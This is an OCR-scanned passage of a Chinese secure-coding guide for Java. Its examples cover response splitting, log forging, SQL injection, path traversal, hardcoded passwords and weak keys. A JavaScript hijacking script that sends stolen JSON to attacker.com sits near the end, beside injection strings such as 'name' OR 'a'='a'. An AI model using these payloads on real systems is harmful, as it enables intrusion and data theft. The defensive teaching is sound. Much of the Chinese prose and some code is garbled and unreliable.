PR g&}tp:?i = BB AR § ¥ (crash) s & £3% & i i # JFT )

AE e e
T & R(request) i@ H IS 52 i€ * H TPRFS > i ¥

PR R ALY A

] V

Ii?'ﬁ ‘J—}@’& ﬁ.‘lj'-}\"; =1

& 1 g#”,’ft“ﬁ_"\ ¥ e o ?ﬁ;’(?dﬁ i®

2 . pa
ERL =S

R B & s j’—(bug) P f@fﬁ E @II?’E 2 #Fj G s le»F' R g

b

B B TR

Integer.parselnt(usrinput);

int usrSleepTime =
Thread.sleep(usrSleepTime);
TREHE > RROPEFER o Fip TRE R

PP ARSNAR R K
ik ’#akJ“:,é:ko g ﬁ’ig—}\,jzgi )I}L,,;;;j. R f7 N

RIsT v fg P = i

5934 7 4574 (pool) -

B> 281 RiER2 LR R BRZEE > 7 &

R E @R 29 Tak

L % s+
! ,ﬁ SUER

T%’**ﬁ”"i‘%{i’)@-iﬁl%q" ﬁféq*L

R e - FERFpP B B E K TR UIER o

V. Header Manipulation
¢ 7 ABREDTAE ERF L EHIA

g

A& HTTP w & (response) # &g (header) ®
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N Eb= e
RFE N AT A AN H- EFHEEAT G ORR o bl
HTTP & 4> Flptie » R * 4258 c = R A SH%BwHTRe 7 A HTTP v &

o

FERNFRT o [ B-H B LT @Y X 5

4ofe 3F 5 gl cn > Mk F > Header Manipulation i ¥| P che- f&+ B>

AR~ BR e AR RAFAHE S FFBEELTHEI R S
R B RAL M TR 2 HTTP v 459 o

B % R ¢h— f& Header Manipulation sc# % HTTP Response Splitting - = 7 =

# i& {7 HTTP Response Splitting sz # » & * 4238 & Jf R3F 0T 2 %J »HEEF

~ (character)CR ( Carriage Return » 7= ¢ %0d #\r 35 %) ¥ LF (Line Feed » 7= d

%0a #\N 45 %) F Ade » AT o B F AR TS L IR Y A2 TR B

thw s S frw G 7 (body) - & o rse EHip L 2 gpeh v i o

String author = request.getParameter(AUTHOR_PARAM);

Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);

KE AR B CHTTP & Ao e 3f B B30 2 (weblog) 7% b chi® L 4F
(author) » & ¥ #2% & fk 2 & HTTP w &< Cookie % g # -
Bk ad fY E 20 - Bd REEHST ~ (alpha-numeric) 1 e thF B o 4o

"Jane Smith | » 78 ¢ 7 iz 1% Cookie s HTTP w &7 &t € £ I 5 1 T A55¢ ¢

HTTP/1.1 200 OK
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Set-Cookie: author=Jane Smith

2 i > F]5 cookid fHiE R d AR Hhwrm @R AT G Y
AUTHOR_PARAM thig 2 ¢ 7 iz i@ CRYrLF 3 =~ 7R B w & g g AN
dod% ST P 2 (submit) 5 - B E R F # (string) > 4o " Wiley Hacken\nHTTP/1.1

200 OK\\n... j» 78 HTTP w Jis ¢ A B = T & 82538 e i

HTTP/1.1 200 OK

Set-Cookie: author=Wiley Hacker
HTTP/1.1 200 OK

FoBwRATEF TN X E R A frr v P F REAE o
FE U R ER HTTP w5 > k& 73 RO E > o5 BT~
(cross-user) % iz (defacement) ~ % 7 frifl 57 % £ P~ 3= 1R 1 (cache) £ » T E4
(poisoning) ~ Cross-Site Scripting f= 4 }. &+ 3% (hijacking) -

L SRR A o - N j‘ﬁisa] » 2 BClE o SRR HOYE B Y
ﬁig?]%i%? AR o BRI iﬂ”ﬁiq?]% B F~ o 4w CRe LFF ~ > PlirSs @
wi&ﬁ»o

A
VI. Log Forging

N A iﬁmﬁ%] »~ B~ pEfh(log file) - ¢ o xm«?&iﬂz Zig sk P o
RGN FL BT
HiBFALE R AT AMAE B - LFTRKG 7 RIBHRRE &
oAt o B FCREORE O B AR A P SR -
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et feiid F e piEin R T 2(event) s %k edk ML Z SR B
PE A A f’fh(debuggmg)f oI RF AR AT A o R B P R

N

FRFEFEEIERG > AFI L pERERLLT AT

kAl

iir%m?—*‘ﬁ EFOGE F e F AR AR 0 BT o gD AT
ﬁgoiﬁj’ﬁﬁﬁ?ﬁg%@ﬁ%@?ﬁﬁgﬁﬁﬁ»,aﬁgﬁﬁﬁp
For PaAN o Aok PIEAR € P BT 0 TR I{?—‘*‘,T&F’ MR FhEAEZR Y ,'%%’
o BLEE A & 258 (format) 24 73 ~ (inject)3g #p ¢t enz = > F 4% p 3RfE AR if

R TR o

String val = request.getParameter("val");

try {
int value = Integer.parselnt(val);

}

catch (NumberFormatException) {
log.info("Failed to parse val =" + val);

}
ek # % HHF P T twenty-one % val > R ¢ seskrs TR P

INFO: Failed to parse val=twenty-one

g ] : o % 7 B o ® x 9 F B
" twenty-one%0a%0alNFO:+User+logged+out%3dbadguy | » B € e 4% T 38

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

e B T P er PER T -

-

Hjai 2 AP st eh e 80 0 PSR R BP0 7 REE F ek
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T RAPHEOHF R RO R %ﬁ%]%i:‘? B & - ]
CORE f‘b?'ﬁﬁ%] »%F o B '@iﬁ BFpEo 7 ueﬁi@] CTFEEF O MREEFFLR
VII. Often Misused: File Upload

AR K BHE 0 HAEE A BN FAERES  EHE AR
PR ZE (server) + o

PHIEB ERE T OREN E B st B ¥ B e 7R R
%ﬁ Lr B S H agT E AR AR AR o 2 (context) oo Fa a5y b g
k3 LT 5 B p d-(directory) > T oE-iB A : BRI AR N 2R

(interpreter) » | € i3 F AN & FOE RSB ALFIREL HF o

public class Struts2Upload extends ActionSupport{

private File uploadFile;
public void setUploadFile(File file){
uploadFile = file;

}
b Struts 2 # ¥ (action) g %] (class)F i’f)i@ﬁl_ﬁg (setter) » B 7 * 142 b g

3
E

AR BB R R R R RGP ST 0 ST E T g
HEPREER S (environment)s! » EZ PN F 0 RBFHH B Rk cF o it H B

SR RICEE 6 B EF RAD BRI e R - AR



Nud

fRA-Z 2 EHMF L B RN P R R P BER  RHR Y

Pkl IR afé’*—‘g?;?ij@%?ﬁ e R ELOP AP ’ﬁﬂffe’?"ﬁﬁ

B SRE S RN PIRE L RT o BE TR F TG A a2
B AR T 0 UFE R PIREZ X DR
VIII.Path Manipulation

AR EL R AR ST e ViREIES & A S LTS

)

o (RS 0 B = RFE 4y TR 0 T T BT - T Ak g i

' o

String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);

rFile.delete();

MR B HTTP & fehliy » k22— BihE G40 AR

FPiLF % g T fz?}—g# e AL E L4 s i T/ tomcat/conf/server.xml |
Tl g FRE %E}H"Jf £ server.xml ot fe ¥ # o
F P R R Y P BB B

L
T

Ny
=
A
()
&5

FoRGFERF EF e\ ANTIFI Y SO C?-;uﬁ’!ﬁ%])\ i
ﬁ%’im?ﬁmﬁ@ﬁﬁﬁﬁ%°
IX. SQL Injection

e ﬁm@?] AR RaE 2 fs f SQL MU (statement) ¥ R ST B B sephk en
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LELNENFELSOL & £ (command) -
PR E AT ABFNR S B - EFHES BT GO kiREe 2

o H R 2 TR KBRS SQL A3 -

String userName = ctx.getAuthenticatedUserName();
String itemName = request.getParameter("itemName");
String query = "SELECT * FROM items WHERE owner ="" +
userName + "' AND itemname =" + itemName +
ResultSet rs = stmt.execute(query);

n AT - B i (dynamic)SQL A (query) > AT F RHEE
Redp L eFaopp(item) s AW g HIED ATy FRREY FHRBAEN P
(currently-authenticated) 578 p

AR R T e AT AT

SELECT * FROM items
WHERE owner = <userName>
AND itemname = <itemName>;

drie R AR LS HF P e FRAHENTE ol F P o 0

% itemName ;2 3 ¢ 7 ¥ 3155(single-quote) 3 ~ ehpFiz » 394 € T /sl 7 o &
% H AR wiley ot ¥ 5 5 itemName # ~ 3 ¢ name’ OR 'a'='a> 78 /- 4 34 4

Bl

SELECT * FROM items
WHERE owner = 'wiley'
AND itemname = 'name' OR 'a'='a’;

v i 2 OR 'a'='a' € ¢ where & &g 2 B (True) > #7140t 38 F 3000 ™

RS TR
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SELECT * FROM items;

it entizg g nyrsc KB AA R w B R Y K T ST A

Rew @97 G5 items 2 ¢ e p oo

BRI R BRI 0 HOTR Y iy i Bk

Fehilih o 4 3F T (T kg ¢

LR * FHR P F S FE 2 A

EHMREL ) 7RG AP L RN G M BT A TR o T S HA R
B2 FE o BN G2 FARE I N LR F gy e

uﬁﬁ&ﬁxo
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4.1.10 API Abuse (Java)

(1) Code Correctness: toString on Array

PR A hp F1E_toString() it s b e e o
BARFAG T o vl A et toString() & AR K F R BLAIN F IS
FEwil e 2iE o A B Eered toString() 0 ¢ w Be AL s P foieis

FBNF B OE o

String[] strList = new String;

System.out.printin(strList);

@A 50 T § toString()et SR8 3] printin 2 57 o & S0t
toString()iq € A & * @ 2 * FEH IR P o

oo b Az s g% 4 [Ljavalang String;@1232121 - R ¥ i #3r R
A

Higid > 2 480 E7p s B hF A2 2 RE 25 5°\0 0 & * 3
toString() S #icpF > | 3 € WIR'EF T AL

(2) Immutable Calsses: Non-final Fields

P ul(class)® iif2 s v % > wHF 2L final o
POBRF AR EANRGFERGFENF L o phagnl e JICIP iR
(package)4c F # ¥ eirfz o v F 2t final #f o L3Ft BAAR L 0 Fle ik RN

LA TS o

@Immutable
public class Immutablelnteger {
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public int value;

}

A7 T % final ) Se R BB AR R E SR 7 24 = % public

# ®_final -

3

oo
(3) J2EE Bad Practice: getConnection()
J2EE 1% % (standard) % 1+ & #ip s H 12 o

J2EE {R8 & R * 4258 @ * ¥ F(container):hE g 1 L kB {7 R

o
H o

ctx = new InitialContext();
datasource = (DataSource)ctx.lookup(DB_DATASRC_REF);

conn = datasource.getConnection();

J2EE B * A2V Bz M P S A BE TR ERR > X ¥ ORE AR T T IS N

P8 Ao

conn = DriverManager.getConnection(CONNECT_STRING);
B BARREREY 2507 B R LY (pooled) T E G R E L o T

BB R TR TR - 3V Al AR Y AT B P A 3 g
Flpt J2EE R &2k L7 5 o

fRIAZ 2P ﬁi;‘?ﬁ%iﬁ et J2EE &9k 2 enfT s m gk R o
(4) Object Model Violation: Just One of equals() and hashCode() Defined

%7 % 7 % B (override)equals() ¢ hashCode()E # — i - Java 4= i 4R Fg 8 3+ ¢

|
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C\'

;% #c B % 3N (equality) 4p BE 3 &

£ (invariant) - 2 ¢ — B2 $§ 4p & e &
R 3 4R & ek 78 (hash code) - # a.equals(b) = = true R
b.hashCode()

Eid

| a.hashCode()
s SR S

B E T P4~ 3 B(Map) st

&=

% L AEw ende 2 555 A B & (collection) ¥ pF >
i3 - W R AT ok SR P g 2 gkt £ (hash table) P iF G
A E L o

L R4t (key) -
& T (Set)? - FRA-4p X (equal)de i 3 4p & cieiE
public class halfway() {

public boolean equals(Object obj) {
}

}
b engE s HE T equals() oo 2R #% hashCode() -
Hjai- 2 LB TR RA - APE D LG AR AR -
(5 Uncheck Return Value

]

& v 3038 e @ i (return value) € ¥ &R 4250 &
Java #2538 PP § &g read()11 2 3§
PoX % g

SRR L IR b
java.io #g %] S 5% e @ - Java
b fehE R 2 % F F o0 4R g 3R b ¢h (exception) i Z )
FHINA T AT LR ¥ 5 # Sh(stream) £ 3f B~ E (reader) % &
PEFEGPIRA > TR E RIS T
R F o

P
:

|7 g3ue bt i
Ve é‘{,/ P —ut
¥ 4 7

Flie » w i85 B % (buffer) » FHF v @3 B~

ETTRS

= »
oo

2% w i
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java.io #g %) S\ w @ eniE o Tpg A 9 R D TR AR E o

FileInputStream fis;

byte[] byteArray = new byte[1024];

for (Iterator i=users.iterator(); i.hasNext();) {
String userName = (String) i.next();
String pFileName = PFILE_ROOT + "/" + userName;
FileInputStream fis = new FilelInputStream(pFileName);
fis.read(byteArray); // the file is always 1k bytes
fis.close();

processPFile(userName, byteArray);

}

AR A - R iﬁ” ¢ %% (loop) » E B+ B it * —*ﬁ s A TR o A7

PRI B ALK S P R AIKB Fla L: 0 kg oread()chw @ E o 4% T
iﬂ”? 1Rz g ol AL FREAR £ v T — B .ﬁf*njéﬁ-m?—}l A
PR g T R R o

Hjga a5y BE > 305 oty BE- TER%KE ks B
SR AR AP F R LB A i R A

=R
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4.1.11 Security Features (Java)

I. Access Control: Database

G A F 9 Bdrdl(Access Control) » i ¢ 7 @ * Kirdlaha &4
(primary key) i1 SQL 45 4 > ¥ E3x 4 & 7 A A nzhr o
RFEL BT AR H - AR BT R ORIRE » f75

o R Ry it SQL A3 Y A £ 4kDE

id = Integer.decode(request.getParameter("invoicelD"));
String query = "SELECT * FROM invoices WHERE id = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, id);

ResultSet results = stmt.execute();

v AR A i i (parametered)ihdy £ 0 @B P 3 ~ (meta-character)
i * 2 g SQL injection (ki o * kiR > T3 7 SQL A3 IEFE 5L e
5 5 (identifier) sy B o gt kBl g8 RS Bk 2 ® % 5 M I hi H (list) @
AT B o

B 2R 4 g (interface) 2 2 7 B2t B o i Ay R E o R T g
W o A R RBR O E o RN g e A AR Y G 03 BT
FAEH AR AR E BT T FE > TR FE 2 G i H

L PR o AE D F b T IR SRRl L= ot T T # mﬁi%l » oo SRR
538 B sk o 4 SQL Injection > vE iE e Sk 4 T AN 0 Fla B A LR

oo
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Il. Cookie Security: Persistent Cookie

0 AR TR 01 cookie(persistent cookie) ® o € FikiE F R i@
e S R B o F B RARSE B R B 0 2 25 1 cookie G FER Bl
cookie WiE FH T R R FHTEMPFFT LA o ﬁii“ﬂ%l"ﬁ? ip T
cookie il §F % session p #FF T % “/f 2hid Tk TP S0k o 35— %F cookie
B o~ AT R REITOE session po TAREATR B 3 A o

FRF TR adF tcookie ¥ st B g {5 AR kBt TR

F] 5 b 48 cookie ¥ K T {AE - BPFR LS A EE o #F1 cookie i ¥ F g *

Prieh 3 oE P IT LR Y K U o B RUEBIGT R 0 T R Y 3 1L cookie ki

R K S

cookie cookie = new Cookie("emailCookie", email);
cookie.setMaxAge(60*60*24*365*10);

vk 42 3% € #-cookie i 10 £ o
i@ * #F 41+ cookie ¥ % % ijI'?"}z s iEa EREBIEL MR A
B 2 Rk F 0 ERARNE > 2 L@ 5 1+ cookie o
lll. Password Management: Hardcoded Password
Hardcoded password ¢ i€ & so% > Far Big - & B (5 (REid 47 4 o
REPHHRBERFADARNEY > FEER AT 2 B2

i
EWERAF R EREARAGRAB 2 VA RF B KT TRE A

FRARNMEA ST AL AR EH FRAZRLRB - FRT BB
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i@éﬂmﬁﬁ’}ﬁ%ﬂﬁ%%ﬁiiiﬁﬁ?ﬁﬁiﬁ§ﬁo

DriverManager.getConnection(url, "scott",

n "tlger");
AR AR F AR Y
PARAREE IR A S L FEEPR T 0 R E R EPUG AR B A AR R 5 B

f& ® ¥ ¢4 scott £ % £ tiger -

<
§
o

AR L DR LA S0 PR R T A f R R R~ IR b
?II‘?-"J; ﬁ‘: ”% )'f%'if %}_}\- i E';Fi;\g%(bytecode) s E] ;M:;, javap - ;}};] Z,\

HeAZ 2 A F i (disassembled) > @ st AR AR S 7T AR K LHLS RAS o

javap -c ConnMngr.class

22:1dc  #36; //String jdbc:mysql://ixne.com/rxsql
24:1dc  #38; //String scott

26:1dc  #17; //String tiger

PSR javap —C dg 4 KK EFR AR A BN o wd T A
Hardcoded password ¢ f& i il i¢ = 2 & & o g3 f#ih2 2 e e N R 0 4
AP R ERAR S FRIMEE S ARE A2 BT o

IV. Password Management: Weak Cryptography

- BERUE KB NRERFPBI L A ET BB A2 o

B R AB A 2 3 (plaintext) & 3 2 Rt A25% a0/ A (property file) 2 fie B 4%
(configuration file) = » ¢ ¥ £ % 78 & IR 4% (password management issue) 2 3% 3
TR okl Sl RS B RS BA HAS F IR Gl Ak 64 2R

F& oo Ry A iRE R
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Properties prop = new Properties();

prop.load(new FilelnputStream("config.properties"));
String password =

Base64.decode(prop.getProperty("password"));

DriverManager.getConnection(url, usr, password);

AN AR A T g k- BEME o

11 AR - R engy 70 2 K & & 43 75 P~ config.properties ¢t 4% % o
w7 B password 2o B 0 T T dE T EEE L 64 A R R H i o B
ARG R DR TG LT B T I LT IORGE ~ TR R AL o

—J—L7ﬁ¢/i—"é’:l“;

(N
\
Ty
F_&
s
s
=
0\

:J—.ﬁ BAEE AR > &P Ao e
2REF P AR T BRI AT F RS RABL 0 IF B e B R
fREn B I hAs -

V. Weak Encryption: Insufficient Key Size

- B4 e RiFE R R hidgkey) R R FRHEIEA 2
2_Fkf% o

PR e B2 dn B R AIE R AL 1024 B = (byte) £ B 4 sfe & RSA
HEEZF o e § AU T RE E G 4 LR F|F A 47 v (factoring

technique) # %7 B 1024 = < RSA 4v @ HjiFehd > o

public static KeyPair getRSAKey() throws
NoSuchAlgorithmException {
KeyPairGenerator keyGen =
KeyPairGenerator.getinstance("RSA");
keyGen.initialize(512);
KeyPair key = keyGen.generateKeyPair();
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return key;

}
T AeNFE A 4 - B 512 =2 RSA v 44k o

A H RS 2 APHER A P 9T 0 1024 2. RSA 4o W At Bl R

W2 R R TRLR > F A R A 2 1 AL AZiE 1024 = o
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4.1.12 Time and State (Java)

I. Code Correctness: Call to sleep() in Lock
B et sleep()et SN pF 0 2 W€ RIFH G AR 0 P € ME AR R

w0 - b eV i = 48 7 (deadlock) -

PR E EY AT R FE 2 sleep() 0 § 3 ¥4 G RS

J

(w.
R

o T EPRBBREFEFFL TR B FR LT ma g

d

ReentrantLock rl = new ReentrantLock();

rl.lock();
Thread.sleep(500);

rl.unlock();

1225 o e sleep()dt S0t o i P 4w AR 500 B 0 F RN

Hfgid=> 2872 &@ 7% sleep() o oF & & 425% lock ¥ » 2 £ # * wait()

KT R A Tock 5+ e L S TR i
MR 0 B Y Walt)fr A § F BRI B g RF R ea

Il. J2EE Bad Practice: Non-Serializable Object Stored in Session

k73 * ¥ B 7|1 (non-serializable) snd» i+ > d&-H F iT - Httpsession /4 o

g :E‘}ﬁg:’# fFehz# jE_]v+o

Java ¢ A )G B b - B GIH R ARER LB A - B A ek
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(byte flow) ¥ - i# H ¥ id iF socket it {7 @,ﬂi%l CERREIFHESEY TR
PERE O FU R e By T EATIEE - BARRH % o - B J2EE %

ARG T 5B IVM KB R AR T A o 5 R R

=

+(end user)$s 7 B JVM %5 H @& * 425 > J2EE % F(container)¥ 14 &
JVM z_ B 45 @] HttpSession 4~ i¢ > #ru g — B JVM 2 ¥ * pF > ¥ — i JVM ¥ 12

e ¢ % ),@5? ﬁi}\: me %E.mr LY i}%fﬁ%? °

—\

% session eAF A F91E 7o i * 25N fosession ¢ opE iz A B2 B R

IR

v 39 34 7 Serializable 4 & (interface) -

&= »

public class DataGlob {
String globName;
String globValue;
public void addToSession(HttpSession session) {
session.setAttribute("glob", this);

M gL gEw) € g 2 K 4e T osession ¥ (e d At E 2 F R e Tt
7 it 4F % ¢ session o

HoAp bR R A HAR R H RERARN R S Jf N A T R A 2
¥ % 4 » I session ¥ o F] G F & PR E(server) | * #7F crisession #cdyp B ~ A A
kX G EZR A SFH 2 session TR FRERFL 2 EEL o F FIRELEAT
Febo il o BT chlicdy € ARNAR o PR o AE f fanpEl By PIRE
TR B Y 0 3F S RPIREAN B A kA4 session e EMt e A L ER

FAe s pd PRE?,T‘% I Freni l%"h’@ﬁﬂ
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4.1.13 Errors (Java)

I.  Poor Error Handling: Empty Catch Block
Lvk — ] 7h (exception)g WRATN AL R P2 G A 4 A
B SR E e AR R AR 3 PR B - Bt L 0 A

PG R DT R 2 R T ORR e & Rt F 2w 3F ARG

=k

WARN Y A B R BRAeT o H - E S kef el gR g A g H
S AR A s Lo PN RS RP FERAES LG MR o

oW R~ Rl PR AR PR

try {
DoExchange();

}

catch (RareException e) {
// this can never happen

}
ARG £k 7 d DoExchande()#r#e 2 ¥ Roenb| ek o A b AL E

%ﬁﬁ%ﬂRwﬁmw%n&wﬂ’gﬁﬁﬁﬁ#%agﬁiﬁ%i~&oﬁﬁ

P EesF M EROF L > FERLEREEISAESN LR ARG R IR
R 2 g AR R RN 2 BERPIERPT N4 2B

o At H B e tryand catch o Aotry ¢ k35 dipt G e A catch ¢k fEid-

B skt B oh o

Il. Poor Error Handling: Swallowed ThreadDead

4% — & ThreadDeath 45 35 A 4% & A7 J) s> #t 5 A 352 34 (7 K (thread)
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2 HFR EHRK A o
ThreadDeath 453557 ¢ MR g " 23 B R 2R H BT R EF f o Yo
% ThreadDeath pt 4581 I a73E > & 3792 ) Pt 45358 (&

AT o #2 ) ThreadDeath et #h % F 5 b 47 5 0 ek g 4 5T 0
ThreadDeath » ¥ &t £ R H FEF FRF 1 3

ThreadDeath g * —‘F'f iRl g T

try{
//some code

}
catch(ThreadDeath td){
//clean up code

}

RS R

Y _\:«:‘:/L:—_‘_L lv‘i‘#"’ f‘qﬁi} ’&_I}'ﬁ':} Thl‘eadDeath FE‘;‘ v % /F'

R EATd > G PR AR B
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4.1.14 Code Quality (Java)

I. Code Correctness: Call to Thread.run()

B - BARN e - B F G UN() 2 A 2he e start() 2 2 ifug @R
i o

Bk b EceniFA;T 5 8 defed Thread 47 2 ehrun()= 2 £ fE4 38 - 255 %
P ERR B BT R R e un0a 3 A stat() e

run() = i B4 730 ed e andU 7 B dn ] o

Thread thr = new Thread() {
public void run() {

2
thr.run();

AR AE T et G orun() > 2 0 @ A eE et start() o
T AR FEIrdY B R start()et o F R ek - BREE ©
LR F e (ready)i > £ G B 67 0 A LER T run() E %k

A E AR A0 un0¢ § 0 RREFEBRFEHEDR F 0 & (s o

X

Firgh S REHEA § 8

VAPPSR Afr i REHEFNEF > A 22 2 % &

~
NS
oy

>

ﬁ%ﬁﬁﬁ’%i%ﬁﬁfﬁ’%iﬂﬁﬁiﬁﬁﬁif.ﬁf%ﬁf
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start()s- = i o
Il. Dead Code: Empty Try Block

% ehtry % #.(block) 7 %_dead code - ifw?ji 27 BIFEAES A e - BE O D

try BB ARE TR SB? 2 EF o ¥ ¥ = ez 7 (byte code)pE - 3

alN

Bty B Flho A A 28R gt o 2 A et o 3

=

AHARNFE > N E R F AR R H ARG o

AN

Iy B BT v & T 5 ¢ A

try {
//rs = stmt.executeQuery(query);

}
catch(SQLException e) {

log(e);

}
AR - B G Htry FeH o

¥ 7 + > Dead code ¥+ 4%25% 7% % F(code quality)m % % 3 TR H ¢
AT AR RLGE IR R L o T H R AR B R
* try and catch p¥ > & Jf #-%& catch «iE 2 8 »~ try ¥ » F P {3 M2 fz 0 &i?—‘ﬁ e

P42 2 H try and catch #7& f&;4-hE R4 b o o
I1l. Null Dereference

HATT R null 4 e B o B i null 4y el 2 2

¥R A5 BRESRFF RN

F_k

null dp i) oh & 2 38§ &8 2
(assumption)#ﬁtf,%zv E\‘E‘;ﬁ’ B — (BRE b ] iz ;z% %ﬁ-\pg g 2RI 4 A Ti% - B
%i =\ qu i"" j&—“” f@;;}’;’ I—'—L i;\ nu” ’ 7' % ﬁ’iKl/T‘ ll.l.a ;ﬁ_ —7\ 2;} ° E%ﬁ%;ﬁ‘i ,_ré;: 7‘?’\

®
ARG E T 2 PR Bl A1 5 null SR
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H a3 null R AT G R SR T AL i LR R

L g fary null 39k Sope o o fr%rmbf hEE R 2 BE o

—\

=R A2 Ao :",K,ért@%?gm ; LLL%;%%%?:&?%{?% ST G 21§

Foo foo = null;

foo.setBar(val);

M AR ARG P R AR L R B foo S onull > fe 4R F #2530 Eda|
#rx 1873 P~ Foo ¢* structure = foo » iz &_foo 4p % Sopzk = null » #rr iz g
7 4p e FoO -

ﬂﬁ%*%#%ﬁ?&?%&ﬁ,ﬁi% gtk @ SRRl

'ﬂ;@#;ﬂ‘ L= null pFs &7 LL%}F]*W‘“ ““W}Jﬂrf»"— F’B%lpifﬂra'ml“ B FiREd

gl

R G4  RARR SRRL TA FR TRASR TR T TR

BT
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4.1.15 Encapsulation (Java)

I. JavaScript Hijacking: Ad Hoc Ajax

T #2381 JavaScript sge Bk @ F SR A FOR > Flpt T o i S g TR
77 JavaScript % (hijacking)sifiF > & ¥ Ay € LF A GE e 17 5
ERAEE) SR A S R R g

ST T A AR R S R 475N % T JavaScript 2 4F st o H - § [
JavaScript § ¥ 3 4 @ﬁgﬂlmﬁ;'\ B S R LR N

T ET ERAIF G R KR KR (Same Origin Policy) £ % 7 & i i *
iﬁji@i@ Lo ® o ik KRR Z R LT & F > 57 1@ JavaScript 3 B F
s % o e JavaScript fo e g Tgru R AR nesd o F LG Ap IR RIR K
- BEL LT i%m’& % % i JavaScript & j&H 8 e sb o0 ST R
PEFTALBL LK

JavaScript ¥ nzéﬁfi B 4250 @ * JavaScript k B IL4s % F I pFeR
WA KR vk o At KR K AR fjh{ﬂ L F JEE P 4 2k e JavaScript JF"S
FALH s Eimangeshz P T 2 (context)e AT TR ER G L E IR
PE R AKG BFERP O DER TR R E AT I AR R
TIRB 0 TR F LR JavaScript Gy (TR iE R E A Ap MR 1T o § 1%
jenge it 2.0 & 4255 4= JavaScript § T F @;ﬂi%lév’ﬂ%#ﬁf'l DRI B AR AR

b5 PlSH > Ka @i Web Bt A2 ERR g o
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% JavaScript ¥ & § oo F etk 34 5 JavaScript Object Notation
(JSON) - JSON RFC #_% JSON :%;# % JavaScript 4 % (object) > Z (literal):Z ;2
2. — i+ & 2 JSON £ A3 A i 7okt G4 d] WA fedr it o Eie i 4V AL fE
= REC 5 3 »c2 JavaScript i % SRR @;%ﬁé}\ J *Hﬁ% = 3| JavaScript
35 st # - JSON i@ {7 JavaScript 2*4F < # { 7 % » F]% JSON L33 p &
== B3 »xen JavaScript4p £ o F1 5 A R @ H - fEp R § T AL
EARER @ﬁiﬁ SBER- AL E R LB o i JSON L7 ¢ % B B R

7 % % 3] JavaScript 2+ 4% ihsc# o JSON 4~ 2 7 5 A H A4t H i JavaScript i ¢

T

P € % % X DlscHF o ki JavaScript FHp £ % - B3 »ten JavaScript

Bt

var object;
var req = new XMLHttpRequest();
reg.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState ==4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;

|5

req.send(null);

AR AR R T R BT AR R Y AR RIRE A B2 R F g
% JSON = %> pt el i A28 % Rg 14 % o Pt 25 A58 - W & 1 1 5T
FEAeE R Fp kG RIRE Y B m e A28 B A 0 Mozilla
DARPHTE R G A TR A B E AR FER T A Lk B
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L 3F R e e i S5t (constructon) i B 4 o

FUARSNPAGEE B g A A ST http -

GET /object.json HTTP/1.1

Host: www.example.com
Cookie:
JSESSIONID=F2rN6HopNzsfXFjHX1c50zxi0J55QZTr4a5YJaSbAiTnRR

Ahttpw B2 {62 p % > H4v: 7 http & gf(header) » F] 5 H 3P
#£EFEM R

$ PR E * JSON 258 22 5w Jis > 4o

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8

[{"fname" "Brian", "Iname":"Chess", "phone":"6502135600",
"purchases":60000.00,
"email":"brian@fortifysoftware.com" }, {"fname":"Katrina",
"Iname":"O'Neil", "phone":"6502135600",
"purchases":120000.00,
"email":"katrina@fortifysoftware.com" }, {"fname":"Jacob",
"Iname":"West", "phone":"6502135600",
"purchases":45000.00,
"email":"jacob@fortifysoftware.com" }]

Gt b P SJSON ¢ g pmR* FApMaPRER e R* 57

ﬂf%?*—'ﬁﬁvsessiongﬁmjﬁ% P2 Byt o 3 i ?,;z*—ﬁﬂ‘—g%,gg%;&‘:@’

ME R ek v 0 JavaScript 24 4F kB F o
FEL ARG - Be T RLAES PRT L3 FPERF K

§ T F ek d o

<script>
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// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final
field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObiject;
}
// Send the captured object back to the attacker's Web
site
function captureObject(x) {
var objString ="";
for (fld in this) {
objString +=fld + ": " + this[fld] + ", ";
}
objString +="email: " + x;
var req = new XMLHttpRequest();
reg.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

ERAANEEY - BscriptiEsf k& 2 JSONF 2304 p 5 F & 7 o i
TEB-g R ko E ¥ 425 ¢0 session cookie o 4 s 3EGR 0 SR KE-E 0T
HRp &2 a0k 4758 R g2 o

# JSON 53] 3 * pFo H

‘m\t
Ehs
et

gx}&_,\, = s H I A S A CICR )

E‘“H'

F ISON =it LT

EA

£ 37 % & JavaScript & F Kk g]id - BAT & o 30
P EY B ARG 0 - B (hook) i v T R PR B g S

FoRegh R B R G R R o BB TR IR L S50 o
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e * A2 pkaE = ok * & mashup ¥ > 7 pFiE € e callback St E B

JavaScript it 4, 5% k & e callback &3¢ #_ A& mashup ¢ & ¥ — BR* f2N k2

# o callback & ;%% JavaScript #3F %~ ¥ - ZF{x% 5 E o Iz;#p—"z ERER
oI5 o @ ¥ L gaF) JavaScript 24 o — B R* 28 mashup = F .7 2

WHEpdr o PlEEG X 2 REZRREG RS AR -

%f%*‘ﬁ%fﬁgxiz?m%%’p:?i g%fx%?—‘ﬁ"%av&ﬁ—?

GRRET RN EZD

iz

»F oo oo ip T 2 H 4§ a4 4 (phishing)sc # > F A
I APER Y R AT F ) 4 (anti-phishing) ¥t i E 2 iR
PRI o

FreH % {AF et o Bl ¢ 1% JavaScript v 5t A2 F N - @ 8 ih
ok E et SV A 2 seript R o e R BN PR g e ke 2 Rt A2t
mashup ° 7 e 08 % mashup sofiin? » € 2 ER TR 4250 o

B2 2 Z RN 38 fFF T R KEF 4 ¢ = JavaScript 2
frenifie 0 B - L JSON 3 @egnT 38 > £ - L@ mprr» GET A
21 % POST o 4 g A FEF- O, > bl4ed THF B 4 - 2 F pb? o R r K

A
PO B2 AT kT 1% JSON kv @ik ¥ K2 B B

N

A

iz

)\% ’;l_;'

G

AFAL s el T AR R B

reg.open("GET", "/personalinfo.json", true);

PREE - BERErT  Bp P2 BN B e 2 T RSV R B

script src="http://malicioussite.com/personalinfo.json"
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F i Jﬂ"%fé’ﬂ?f@éi LY s mi T esEe o RIPCEERET T UBER Y 75!

